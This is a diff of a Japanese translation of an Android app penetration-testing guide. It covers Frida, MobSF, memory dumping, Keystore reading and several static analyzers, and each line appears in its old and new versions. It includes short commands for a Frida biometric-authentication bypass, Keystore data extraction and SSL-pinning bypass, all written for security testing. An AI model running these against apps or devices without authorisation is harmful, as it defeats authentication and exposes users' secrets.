* キャプチャしていないトラフィックがあると考える場合は、**iptablesを使用してトラフィックをburpに転送**することができます。このブログを参照してください:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) * キャプチャしていないトラフィックがあると考える場合は、**iptablesを使用してトラフィックをburpに転送**することができます。このブログを参照してください:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### 一般的なWeb脆弱性の検索 #### 一般的なWeb脆弱性の検索
アプリケーション内で一般的なWeb脆弱性を検索することも重要です。これらの脆弱性の特定と緩和に関する詳細情報は、この要約の範囲を超えて詳細に説明されています。 アプリケーション内で一般的なWeb脆弱性を検索することも重要です。これらの脆弱性の特定と緩和に関する詳細な情報は、この要約の範囲を超えて他で包括的にカバーされています。
### Frida ### Frida
[Frida](https://www.frida.re)は、開発者、リバースエンジニア、セキュリティ研究者向けの動的インストルメンテーションツールキットです。\ [Frida](https://www.frida.re)は、開発者、リバースエンジニア、セキュリティ研究者向けの動的インストルメンテーションツールキットです。\
**実行中のアプリケーションにアクセスし、実行時にメソッドをフックして動作を変更したり、値を変更したり、値を抽出したり、異なるコードを実行したりできます。**\ **実行中のアプリケーションにアクセスし、実行時にメソッドをフックして動作を変更したり、値を変更したり、値を抽出したり、異なるコードを実行したりできます。**\
Androidアプリケーションのペンテストを行う場合は、Fridaの使用方法を知っておく必要があります。 Androidアプリケーションのペンテストを行う場合は、Fridaの使用方法を知っておく必要があります。
* Fridaの使用方法を学ぶ[**Frida tutorial**](frida-tutorial/) * Fridaの使用方法を学ぶ[**Fridaチュートリアル**](frida-tutorial/)
* Fridaを使用したアクションのための「GUI」[**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) * Fridaを使用したアクションのための「GUI」[**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
* OjectionはFridaの使用を自動化するのに最適です[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) * OjectionはFridaの使用を自動化するのに最適です[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
* ここでいくつかの素晴らしいFridaスクリプトを見つけることができます[**https://codeshare.frida.re/**](https://codeshare.frida.re) * ここでいくつかの素晴らしいFridaスクリプトを見つけることができます[**https://codeshare.frida.re/**](https://codeshare.frida.re)
* アンチデバッギング/アンチ-Fridaメカニズムをバイパスしようとする場合は、Fridaを読み込む方法を示した[https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)(ツール[linjector](https://github.com/erfur/linjector-rs))を参照してください。
### **メモリのダンプ - Fridump** ### **メモリのダンプ - Fridump**
アプリケーションがパスワードやニーモニックなど、保存すべきでない機密情報をメモリ内に保存していないかを確認してください。 アプリケーションがパスワードやニーモニックなど、保存すべきでない機密情報をメモリ内に保存していないかどうかを確認してください。
[**Fridump3**](https://github.com/rootbsd/fridump3)を使用して、アプリのメモリをダンプできます [**Fridump3**](https://github.com/rootbsd/fridump3)を使用して、アプリのメモリをダンプできます
```bash ```bash
# With PID # With PID
python3 fridump3.py -u <PID> python3 fridump3.py -u <PID>
@ -495,9 +495,9 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
### **Keystore内の機密データ** ### **Keystore内の機密データ**
Androidでは、Keystoreは機密データを保存するのに最適な場所ですが、**十分な権限があればアクセスすることができます**。アプリケーションはここに**平文の機密データを保存**する傾向があるため、ペンテストではrootユーザーまたはデバイスに物理的アクセス権限を持つ者がこれらのデータを盗む可能性があるかどうかを確認する必要があります。 Androidでは、Keystoreは機密データを保存するのに最適な場所ですが、**特権があればアクセス可能**です。アプリケーションはここに**平文の機密データを保存**する傾向があるため、ペンテストではrootユーザーまたはデバイスに物理的アクセス権限を持つ者がこれらのデータを盗む可能性があるかどうかを確認する必要があります。
アプリがKeystoreにデータを保存していたとしても、そのデータは暗号化されている必要があります。 アプリがKeystoreにデータを保存していたとしても、データは暗号化されるべきです。
Keystore内のデータにアクセスするには、このFridaスクリプトを使用できます: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) Keystore内のデータにアクセスするには、このFridaスクリプトを使用できます: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash ```bash
@ -505,7 +505,9 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
``` ```
### **指紋/生体認証バイパス** ### **指紋/生体認証バイパス**
以下のFridaスクリプトを使用すると、Androidアプリケーションが実行している可能性がある**特定の機密領域を保護するための指紋認証をバイパス**することができます: 以下のFridaスクリプトを使用すると、Androidアプリケーションが実行している可能性がある**特定の機密領域を保護するために行う指紋認証をバイパス**することができます:
{% code overflow="wrap" %}
```bash ```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package> frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
``` ```
@ -513,13 +515,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
### **背景画像** ### **背景画像**
アプリケーションをバックグラウンドに置くと、Androidはアプリケーションの**スナップショット**を保存します。そのため、前景に回復されるとアプリケーションよりも先に画像の読み込みが開始され、アプリがより速く読み込まれたように見えます。 アプリケーションをバックグラウンドに置くと、Androidはアプリケーションの**スナップショット**を保存します。そのため、フォアグラウンドに復元されるとアプリケーションよりも先に画像の読み込みが開始され、アプリがより速く読み込まれたように見えます。
ただし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセス権を持つ人物がその情報を**盗み出す**可能性があります(スナップショットにアクセスするにはルート権限が必要です)。 ただし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセス権を持つがその情報を**盗み出す**可能性があります(スナップショットにアクセスするにはルート権限が必要です)。
スナップショットは通常、以下の場所に保存されます:**`/data/system_ce/0/snapshots`** スナップショットは通常、以下の場所に保存されます:**`/data/system_ce/0/snapshots`**
Androidは、FLAG\_SECUREレイアウトパラメータを設定することで、スクリーンショットのキャプチャを**防止**する方法を提供しています。このフラグを使用すると、ウィンドウの内容がセキュアとして扱われ、スクリーンショットに表示されたり、非セキュアなディスプレイで表示されたりするのを防ぎます。 Androidは、**FLAG\_SECURE** レイアウトパラメータを設定することで、スクリーンショットのキャプチャを防ぐ方法を提供しています。このフラグを使用すると、ウィンドウの内容がセキュアとして扱われ、スクリーンショットに表示されたり、非セキュアなディスプレイで表示されることが防止されます。
```bash ```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
``` ```
@ -531,22 +533,22 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
開発者はしばしば、これらのインテントを処理し、`startActivity(...)`や`sendBroadcast(...)`などのメソッドに渡すアクティビティ、サービス、およびブロードキャストレシーバーなどのプロキシコンポーネントを作成しますが、これは危険です。 開発者はしばしば、これらのインテントを処理し、`startActivity(...)`や`sendBroadcast(...)`などのメソッドに渡すアクティビティ、サービス、およびブロードキャストレシーバーなどのプロキシコンポーネントを作成しますが、これは危険です。
攻撃者がこれらのインテントを誤誘導して非公開のアプリコンポーネントをトリガーしたり、機密コンテンツプロバイダーにアクセスしたりすることを許可することによる危険があります。注目すべき例は、`WebView`コンポーネントが`Intent.parseUri(...)`を介してURLを`Intent`オブジェクトに変換し、それらを実行することで、悪意のあるインテントインジェクションにつながる可能性があります。 攻撃者がこれらのインテントを誤誘導して非公開のアプリコンポーネントをトリガーしたり、機密コンテンツプロバイダーにアクセスしたりすることを許可する危険があります。注目すべき例は、`WebView`コンポーネントが`Intent.parseUri(...)`を介してURLを`Intent`オブジェクトに変換し、それらを実行することで、悪意のあるインテントインジェクションにつながる可能性があります。
### 要点 ### 要点
* **インテントインジェクション**は、Webのオープンリダイレクトの問題に類似しています。 * **インテントインジェクション**は、Webのオープンリダイレクトの問題に類似しています。
* 攻撃は、`Intent`オブジェクトをエクストラとして渡すことにより、安全でない操作を実行するためにリダイレクトできることを含みます。 * エクスプロイトは、`Intent`オブジェクトをエクストラとして渡すことに関与し、安全でない操作を実行するためにリダイレクトされる可能性があります。
* 非公開のコンポーネントやコンテンツプロバイダーを攻撃者にさらす可能性があります。 * 非公開のコンポーネントやコンテンツプロバイダーを攻撃者にさらす可能性があります。
* `WebView`のURLから`Intent`への変換は、意図しないアクションを容易にする可能性があります。 * `WebView`のURLから`Intent`への変換は、意図しないアクションを容易にする可能性があります。
### Androidクライアントサイドインジェクションおよびその他 ### Androidクライアントサイドインジェクションおよびその他
おそらくWebからこの種の脆弱性について知っているでしょう。Androidアプリケーションでこれらの脆弱性に特に注意する必要があります おそらくWebからこの種の脆弱性について知っているでしょう。Androidアプリケーションでこれらの脆弱性に特に注意する必要があります
* **SQLインジェクション:** 動的クエリやコンテンツプロバイダーを扱う場合は、パラメータ化されたクエリを使用していることを確認してください。 * **SQLインジェクション:** 動的クエリやコンテンツプロバイダーを扱う場合は、パラメータ化されたクエリを使用していることを確認してください。
* **JavaScriptインジェクションXSS:** すべてのWebViewでJavaScriptとプラグインサポートが無効になっていることを確認してくださいデフォルトで無効。[詳細はこちら](webview-attacks.md#javascript-enabled)。 * **JavaScriptインジェクションXSS:** すべてのWebViewでJavaScriptとプラグインサポートが無効になっていることを確認してくださいデフォルトで無効。[詳細はこちら](webview-attacks.md#javascript-enabled)。
* **ローカルファイルインクルージョン:** WebViewはファイルシステムへのアクセスが無効になっている必要がありますデフォルトで有効- `(webview.getSettings().setAllowFileAccess(false);)`。[詳細はこちら](webview-attacks.md#javascript-enabled)。 * **ローカルファイルインクルージョン:** WebViewはファイルシステムへのアクセスが無効になっている必要がありますデフォルトで有効- `(webview.getSettings().setAllowFileAccess(false);)。[詳細はこちら](webview-attacks.md#javascript-enabled)。
* **永続クッキー**: Androidアプリケーションがセッションを終了する場合、クッキーが取り消されないことがいくつかのケースであり、ディスクに保存される可能性があります * **永続クッキー**: Androidアプリケーションがセッションを終了する場合、クッキーが取り消されないことがいくつかのケースであり、ディスクに保存される可能性があります
* [**クッキーのSecureフラグ**](../../pentesting-web/hacking-with-cookies/#cookies-flags) * [**クッキーのSecureフラグ**](../../pentesting-web/hacking-with-cookies/#cookies-flags)
@ -562,7 +564,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
**リアルタイムハックニュース**\ **リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかける リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかける
**最新の発表**\ **最新のアナウンスメント**\
最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を入手 最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を入手
**[Discord](https://discord.com/invite/N3FrSbmwdy)**に参加して、今日からトップハッカーと協力を始めましょう! **[Discord](https://discord.com/invite/N3FrSbmwdy)**に参加して、今日からトップハッカーと協力を始めましょう!
@ -575,7 +577,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
![](<../../.gitbook/assets/image (61).png>) ![](<../../.gitbook/assets/image (61).png>)
アプリケーションの脆弱性評価を行うための素敵なWebベースのフロントエンド。動的解析も実行できますただし、環境を準備する必要があります アプリケーションの脆弱性評価を行うための素敵なWebベースのフロントエンドを使用します。動的解析も実行できます(ただし、環境を準備する必要があります)。
```bash ```bash
docker pull opensecurity/mobile-security-framework-mobsf docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@ -583,26 +585,26 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
MobSFは**Android**(apk)**、IOS**(ipa)**、およびWindows**(apx)アプリケーションを分析できます_WindowsアプリケーションはWindowsホストにインストールされたMobSFから分析する必要があります_。\ MobSFは**Android**(apk)**、IOS**(ipa)**、およびWindows**(apx)アプリケーションを分析できます_WindowsアプリケーションはWindowsホストにインストールされたMobSFから分析する必要があります_。\
また、**Android**または**IOS**アプリのソースコードをZIPファイルに作成するとアプリケーションのルートフォルダに移動し、すべてを選択してZIPファイルを作成する、それも分析できます。 また、**Android**または**IOS**アプリのソースコードをZIPファイルに作成するとアプリケーションのルートフォルダに移動し、すべてを選択してZIPファイルを作成する、それも分析できます。
MobSFは**diff/比較**分析と**VirusTotal**の統合も可能です_MobSF/settings.py_にAPIキーを設定し有効にする必要があります: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)。`VT_UPLOAD`を`False`に設定すると、**ハッシュ**が**ファイル**の代わりにアップロードされます。 MobSFは**diff/比較**分析と**VirusTotal**の統合も可能です_MobSF/settings.py_にAPIキーを設定し有効にする必要があります: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)。また、`VT_UPLOAD`を`False`に設定すると、**ハッシュ**がファイルの代わりに**アップロード**されます。
### MobSFによるアシストされたダイナミック分析 ### MobSFによるアシストされたダイナミック分析
**MobSF**は**Android**での**ダイナミック分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要がありますVMやDockerでは機能しません。_注意: **genymotion**で最初にVMを**起動**してから**MobSF**を起動する必要があります。_\ **MobSF**は**Android**での**ダイナミック分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要がありますVMやDockerでは機能しません。_注意: **genymotion**で最初にVMを**起動**してから**MobSF**を起動する必要があります。_\
**MobSFダイナミックアナライザー**は以下が可能です: **MobSFダイナミックアナライザー**は以下を行うことができます:
* **アプリケーションデータのダンプ**URL、ログ、クリップボード、自分が作成したスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、電子メール、SQLiteデータベース、XMLファイル、およびその他の作成されたファイルこれはスクリーンショットを除いて自動的に行われます。スクリーンショットを取得する場合は、スクリーンショットが必要な時に押すか、すべてのエクスポートされたアクティビティのスクリーンショットを取得するために"**Exported Activity Tester**"を押す必要があります。 * **アプリケーションデータのダンプ**URL、ログ、クリップボード、自分が作成したスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、電子メール、SQLiteデータベース、XMLファイル、およびその他の作成されたファイルスクリーンショット以外はすべて自動的に行われますが、スクリーンショットを取得する場合は、スクリーンショットを取得したいときに押すか、"**Exported Activity Tester**"を押してすべてのエクスポートされたアクティビティのスクリーンショットを取得する必要があります。
* **HTTPSトラフィックのキャプチャ** * **HTTPSトラフィックのキャプチャ**
* **Frida**を使用して**ランタイム情報**を取得する * **Frida**を使用して**ランタイム情報**を取得する
**Android**のバージョンが5より新しい場合、**Frida**が**自動的に起動**され、グローバル**プロキシ**設定が**トラフィックをキャプチャ**するように設定されます。テストされたアプリケーションからのトラフィックのみをキャプチャします。 Androidの**バージョンが5より新しい**場合、**自動的にFridaを起動**し、グローバル**プロキシ**設定を**トラフィックのキャプチャ**に設定します。テストされたアプリケーションからのトラフィックのみをキャプチャします。
**Frida** **Frida**
デフォルトでは、いくつかのFridaスクリプトを使用して**SSLピニングのバイパス**、**ルート検出**、**デバッガ検出**、および**興味深いAPIの監視**も行います。\ デフォルトでは、Fridaスクリプトを使用して**SSLピニングのバイパス**、**ルート検出**、**デバッガ検出**、および**興味深いAPIの監視**も行います。\
MobSFは**エクスポートされたアクティビティ**を呼び出し、それらの**スクリーンショット**を取得してレポートに保存することもできます。 MobSFは**エクスポートされたアクティビティを呼び出し**、それらの**スクリーンショットを取得**してレポートに**保存**することもできます。
ダイナミックテストを**開始**するには、緑色のボタン "**Start Instrumentation**" を押します。**Frida Live Logs**を押してFridaスクリプトによって生成されたログを表示し、**Live API Monitor**を押してフックされたメソッドへのすべての呼び出し、渡された引数、返された値を表示します(これは "Start Instrumentation" を押した後に表示されます)。\ ダイナミックテストを**開始**するには、緑色のボタン "**Start Instrumentation**" を押します。Fridaスクリプトによって生成されたログを表示するには "**Frida Live Logs**" を押し、フックされたメソッドへのすべての呼び出し、渡された引数、返された値を表示するには "**Live API Monitor**" を押します(これは "Start Instrumentation" を押した後に表示されます)。\
MobSFはまた、独自の**Fridaスクリプト**をロードすることも可能でFridaスクリプトの結果をMobSFに送信するには `send()` 関数を使用します)。また、**いくつかの事前に書かれたスクリプト**をロードすることもできます(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加することができます)、それらを選択して "**Load**" を押し、 "**Start Instrumentation**" を押します(そのスクリプトのログを "**Frida Live Logs**" で確認できます)。 MobSFはまた、独自の**Fridaスクリプト**を読み込むことができまFridaスクリプトの結果をMobSFに送信するには `send()` 関数を使用します)。読み込むことができる**いくつかの事前書かれたスクリプト**もあります(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加できます)、それらを**選択**して "**Load**" を押し、 "**Start Instrumentation**" を押します(そのスクリプトのログを "**Frida Live Logs**" で確認できます)。
![](<../../.gitbook/assets/image (215).png>) ![](<../../.gitbook/assets/image (215).png>)
@ -610,16 +612,16 @@ MobSFはまた、独自の**Fridaスクリプト**をロードすることも可
* **ロードされたクラスの列挙**: ロードされたすべてのクラスを表示します * **ロードされたクラスの列挙**: ロードされたすべてのクラスを表示します
* **文字列のキャプチャ**: アプリケーションを使用する際にキャプチャされたすべての文字列を表示します(非常にノイズが多い) * **文字列のキャプチャ**: アプリケーションを使用する際にキャプチャされたすべての文字列を表示します(非常にノイズが多い)
* **文字列比較のキャプチャ**: 非常に役立つ場合があります。比較された2つの文字列と結果TrueまたはFalseを表示します。 * **文字列比較のキャプチャ**: 非常に役立ます。比較された2つの文字列と結果TrueまたはFalseを表示します。
* **クラスメソッドの列挙**: クラス名(例: "java.io.File")を入力すると、そのクラスのすべてのメソッドを表示します。 * **クラスメソッドの列挙**: クラス名(例: "java.io.File")を入力すると、そのクラスのすべてのメソッドを表示します。
* **クラスパターンの検索**: パターンに一致するクラスを検索します * **クラスパターンの検索**: パターンに一致するクラスを検索します
* **クラスメソッドのトレース**: クラス全体をトレースします(クラスのすべてのメソッドの入力と出力を参照。デフォルトでは、MobSFはいくつかの興味深いAndroid APIメソッドをトレースします。 * **クラスメソッドのトレース**: クラス全体をトレースします(クラスのすべてのメソッドの入力と出力を表示します。デフォルトでは、MobSFはいくつかの興味深いAndroid APIメソッドをトレースします。
使用したい補助モジュールを選択したら、**Start Intrumentation** を押して、すべての出力を **Frida Live Logs** で確認できます。 使用したい補助モジュールを選択したら、**"Start Intrumentation"** を押して、すべての出力を **"Frida Live Logs"** で確認できます。
**Shell** **Shell**
Mobsfには、ダイナミック分析ページの一番下にいくつかの**adb**コマンド、**MobSFコマンド**、および一般的な**シェルコマンド**を備えたシェルが付属しています。いくつかの興味深いコマンド: Mobsfには、ダイナミック分析ページの一番下にいくつかの**adb**コマンド、**MobSFコマンド**、および一般的な**シェルコマンド**を備えたシェルが用意されています。いくつかの興味深いコマンド:
```bash ```bash
help help
shell ls shell ls
@ -631,9 +633,9 @@ receivers
**HTTPツール** **HTTPツール**
HTTPトラフィックがキャプチャされると、"**HTTP(S) Traffic**"の下にキャプチャされたトラフィックの見栄えが悪いビューで表示されるか、"**Start HTTPTools**"の緑のボタンで見栄えの良いビューが表示されます。2番目のオプションから、**キャプチャされたリクエスト**をBurpやOwasp ZAPなどの**プロキシ**に**送信**することができます。\ HTTPトラフィックがキャプチャされると、"**HTTP(S) Traffic**"の下にキャプチャされたトラフィックの見栄えが悪いビューで表示されるか、"**Start HTTPTools**"の緑のボタンで見栄えの良いビューが表示されます。2番目のオプションから、**キャプチャされたリクエスト**をBurpやOwasp ZAPなどの**プロキシ**に**送信**することができます。\
そのためには、_Burpを起動 -->_ _Interceptをオフにする --> MobSB HTTPToolsでリクエストを選択_ --> "**Send to Fuzzer**"を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.1:8080))。 そのためには、_Burpを起動 -->_ _Interceptをオフにする --> MobSB HTTPToolsでリクエストを選択_ --> "**Send to Fuzzer**"を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
MobSFで動的解析を終えたら、"**Start Web API Fuzzer**"を押して、**HTTPリクエストをファズ**し、脆弱性を探すことができます。 MobSFで動的解析を終えたら、"**Start Web API Fuzzer**"を押して、**httpリクエストをファズ**し、脆弱性を探します。
{% hint style="info" %} {% hint style="info" %}
MobSFで動的解析を実行した後、プロキシ設定が誤って構成され、GUIから修正できない場合があります。プロキシ設定を修正するには、次の手順を実行します: MobSFで動的解析を実行した後、プロキシ設定が誤って構成され、GUIから修正できない場合があります。プロキシ設定を修正するには、次の手順を実行します:
@ -645,17 +647,17 @@ adb shell settings put global http_proxy :0
### Inspeckageを使用したアシストされたダイナミック解析 ### Inspeckageを使用したアシストされたダイナミック解析
[**Inspeckage**](https://github.com/ac-pm/Inspeckage)からツールを入手できます。\ [**Inspeckage**](https://github.com/ac-pm/Inspeckage)からツールを入手できます。\
このツールは、**Hooks**を使用して、**ダイナミック解析**を実行する際に**アプリケーション内で何が起こっているか**を知らせます。 このツールはいくつかの**フック**を使用して、**ダイナミック解析**を実行する際に**アプリケーション内で何が起こっているか**を知らせます。
### [Yaazhini](https://www.vegabird.com/yaazhini/) ### [Yaazhini](https://www.vegabird.com/yaazhini/)
これは、GUIを使用して**静的解析**を実行するための**優れたツール**です これは**GUIを備えた静的解析を実行するための優れたツール**です
![](<../../.gitbook/assets/image (527).png>) ![](<../../.gitbook/assets/image (527).png>)
### [Qark](https://github.com/linkedin/qark) ### [Qark](https://github.com/linkedin/qark)
このツールは、**ソースコード**または**パッケージ化されたAPK**内のいくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すように設計されています。このツールはまた、いくつかの見つかった脆弱性を悪用するための「Proof-of-Concept」展開可能なAPKと**ADBコマンド**を作成することができます公開されたアクティビティ、インテント、タップジャッキングなど。Drozerと同様に、テストデバイスをルート化する必要はありません。 このツールは、**ソースコード**または**パッケージ化されたAPK**内のいくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すように設計されています。このツールはまた、いくつかの見つかった脆弱性を悪用するための**"Proof-of-Concept"展開可能なAPK**および**ADBコマンド**を作成することができます公開されたアクティビティ、インテント、タップジャッキングなど。Drozerと同様に、テストデバイスをルート化する必要はありません。
```bash ```bash
pip3 install --user qark # --user is only needed if not using a virtualenv pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk qark --apk path/to/my.apk
@ -666,7 +668,7 @@ qark --java path/to/specific/java/file.java
* 簡単な参照のためにすべての抽出されたファイルを表示します * 簡単な参照のためにすべての抽出されたファイルを表示します
* APKファイルを自動的にJavaおよびSmali形式に逆コンパイルします * APKファイルを自動的にJavaおよびSmali形式に逆コンパイルします
* 一般的な脆弱性と動作のためのAndroidManifest.xmlの分析 * 一般的な脆弱性と動作のためのAndroidManifest.xmlを分析します
* 一般的な脆弱性と動作のための静的ソースコード分析 * 一般的な脆弱性と動作のための静的ソースコード分析
* デバイス情報 * デバイス情報
* その他 * その他
@ -675,7 +677,7 @@ reverse-apk relative/path/to/APP.apk
``` ```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPERは、Windows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、.apkファイルを解析して脆弱性を検出します。これは、APKを展開し、脆弱性を検出するための一連のルールを適用することによって行われます。 SUPERは、Windows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、.apkファイルを解析して脆弱性を検出します。これは、APKを展開し、一連のルールを適用してこれらの脆弱性を検出します。
すべてのルールは`rules.json`ファイルに集約されており、各企業やテスターは必要なものを分析するために独自のルールを作成できます。 すべてのルールは`rules.json`ファイルに集約されており、各企業やテスターは必要なものを分析するために独自のルールを作成できます。
@ -697,7 +699,7 @@ StaCoAnは、モバイルアプリケーションの[静的コード解析](http
``` ```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs\_Framework) ### [AndroBugs](https://github.com/AndroBugs/AndroBugs\_Framework)
AndroBugs Frameworkは、開発者やハッカーがAndroidアプリケーション内の潜在的なセキュリティ脆弱性を見つけるのに役立つAndroid脆弱性分析システムです。\ AndroBugs Frameworkは、Androidアプリケーション内の潜在的なセキュリティ脆弱性を見つけるのを手助けするAndroid脆弱性分析システムです。\
[Windows releases](https://github.com/AndroBugs/AndroBugs\_Framework/releases) [Windows releases](https://github.com/AndroBugs/AndroBugs\_Framework/releases)
``` ```
python androbugs.py -f [APK file] python androbugs.py -f [APK file]
@ -709,7 +711,7 @@ androbugs.exe -f [APK file]
検出は、アプリケーションのDalvikバイトコード**Smali**として表現される)の**静的解析**によって行われ、[`androguard`](https://github.com/androguard/androguard)ライブラリを使用しています。 検出は、アプリケーションのDalvikバイトコード**Smali**として表現される)の**静的解析**によって行われ、[`androguard`](https://github.com/androguard/androguard)ライブラリを使用しています。
このツールは、電話識別子の流出、オーディオ/ビデオフローの傍受、PIMデータの変更、任意のコード実行など、**"悪い"アプリケーションの一般的な振る舞い**を探します。 このツールは、**"悪い"アプリケーションの一般的な振る舞い**を検索します。例えば、電話識別子の流出、オーディオ/ビデオフローの傍受、PIMデータの変更、任意のコード実行などす。
``` ```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
``` ```
@ -717,16 +719,16 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../.gitbook/assets/image (81).png>) ![](<../../.gitbook/assets/image (81).png>)
**MARA**は**M**obile **A**pplication **R**everse engineering and **A**nalysis Frameworkの略称です。これは、一般的に使用されるモバイルアプリケーションのリバースエンジニアリングおよび分析ツールを組み合わせたツールで、OWASPモバイルセキュリティ脅威に対するモバイルアプリケーションのテストを支援します。その目的は、このタスクをモバイルアプリケーション開発者やセキュリティ専門家にとってより簡単で使いやすくすることです。 **MARA**は**M**obile **A**pplication **R**everse engineering and **A**nalysis Frameworkの略称です。これは、一般的に使用されるモバイルアプリケーションのリバースエンジニアリングおよび分析ツールを組み合わせたツールで、OWASPモバイルセキュリティ脅威に対するモバイルアプリケーションのテストを支援します。その目的は、このタスクをモバイルアプリケーション開発者やセキュリティ専門家にとってより簡単で使いやすくすることです。
以下のことができます: 以下のことができます:
- 異なるツールを使用してJavaおよびSmaliコードを抽出する * 異なるツールを使用してJavaおよびSmaliコードを抽出する
- [smalisca](https://github.com/dorneanu/smalisca)、[ClassyShark](https://github.com/google/android-classyshark)、[androbugs](https://github.com/AndroBugs/AndroBugs\_Framework)、[androwarn](https://github.com/maaaaz/androwarn)、[APKiD](https://github.com/rednaga/APKiD)を使用してAPKを分析する * [smalisca](https://github.com/dorneanu/smalisca)、[ClassyShark](https://github.com/google/android-classyshark)、[androbugs](https://github.com/AndroBugs/AndroBugs\_Framework)、[androwarn](https://github.com/maaaaz/androwarn)、[APKiD](https://github.com/rednaga/APKiD)を使用してAPKを分析する
- 正規表現を使用してAPKからプライベート情報を抽出する * 正規表現を使用してAPKからプライベート情報を抽出する
- マニフェストを分析する * マニフェストを分析する
- [pyssltest](https://github.com/moheshmohan/pyssltest)、[testssl](https://github.com/drwetter/testssl.sh)、[whatweb](https://github.com/urbanadventurer/WhatWeb)を使用して見つかったドメインを分析する * [pyssltest](https://github.com/moheshmohan/pyssltest)、[testssl](https://github.com/drwetter/testssl.sh)、[whatweb](https://github.com/urbanadventurer/WhatWeb)を使用して見つかったドメインを分析する
- [apk-deguard.com](http://www.apk-deguard.com)を介してAPKの難読化を解除する * [apk-deguard.com](http://www.apk-deguard.com)を介してAPKの難読化を解除する
### Koodous ### Koodous
@ -738,7 +740,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\)) ### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
[Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\))によると、**ProGuard**はJavaコードを縮小、最適化、難読化するオープンソースのコマンドラインツールです。バイトコードを最適化し、未使用の命令を検出して削除することができます。ProGuardはフリーソフトウェアであり、GNU General Public Licenseバージョン2の下で配布されています。 [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\))によると、**ProGuard**はJavaコードを縮小、最適化、難読化するオープンソースのコマンドラインツールです。バイトコードを最適化し、未使用の命令を検出して削除することができます。ProGuardはフリーソフトウェアであり、GNU General Public Licenseバージョン2の下で配布されています。
ProGuardはAndroid SDKの一部として配布され、リリースモードでアプリケーションをビルドする際に実行されます。 ProGuardはAndroid SDKの一部として配布され、リリースモードでアプリケーションをビルドする際に実行されます。
@ -748,11 +750,11 @@ APKの難読化を解除するためのステップバイステップガイド
(そのガイドから) 最後に確認したとき、Dexguardの動作モードは次のとおりでした (そのガイドから) 最後に確認したとき、Dexguardの動作モードは次のとおりでした
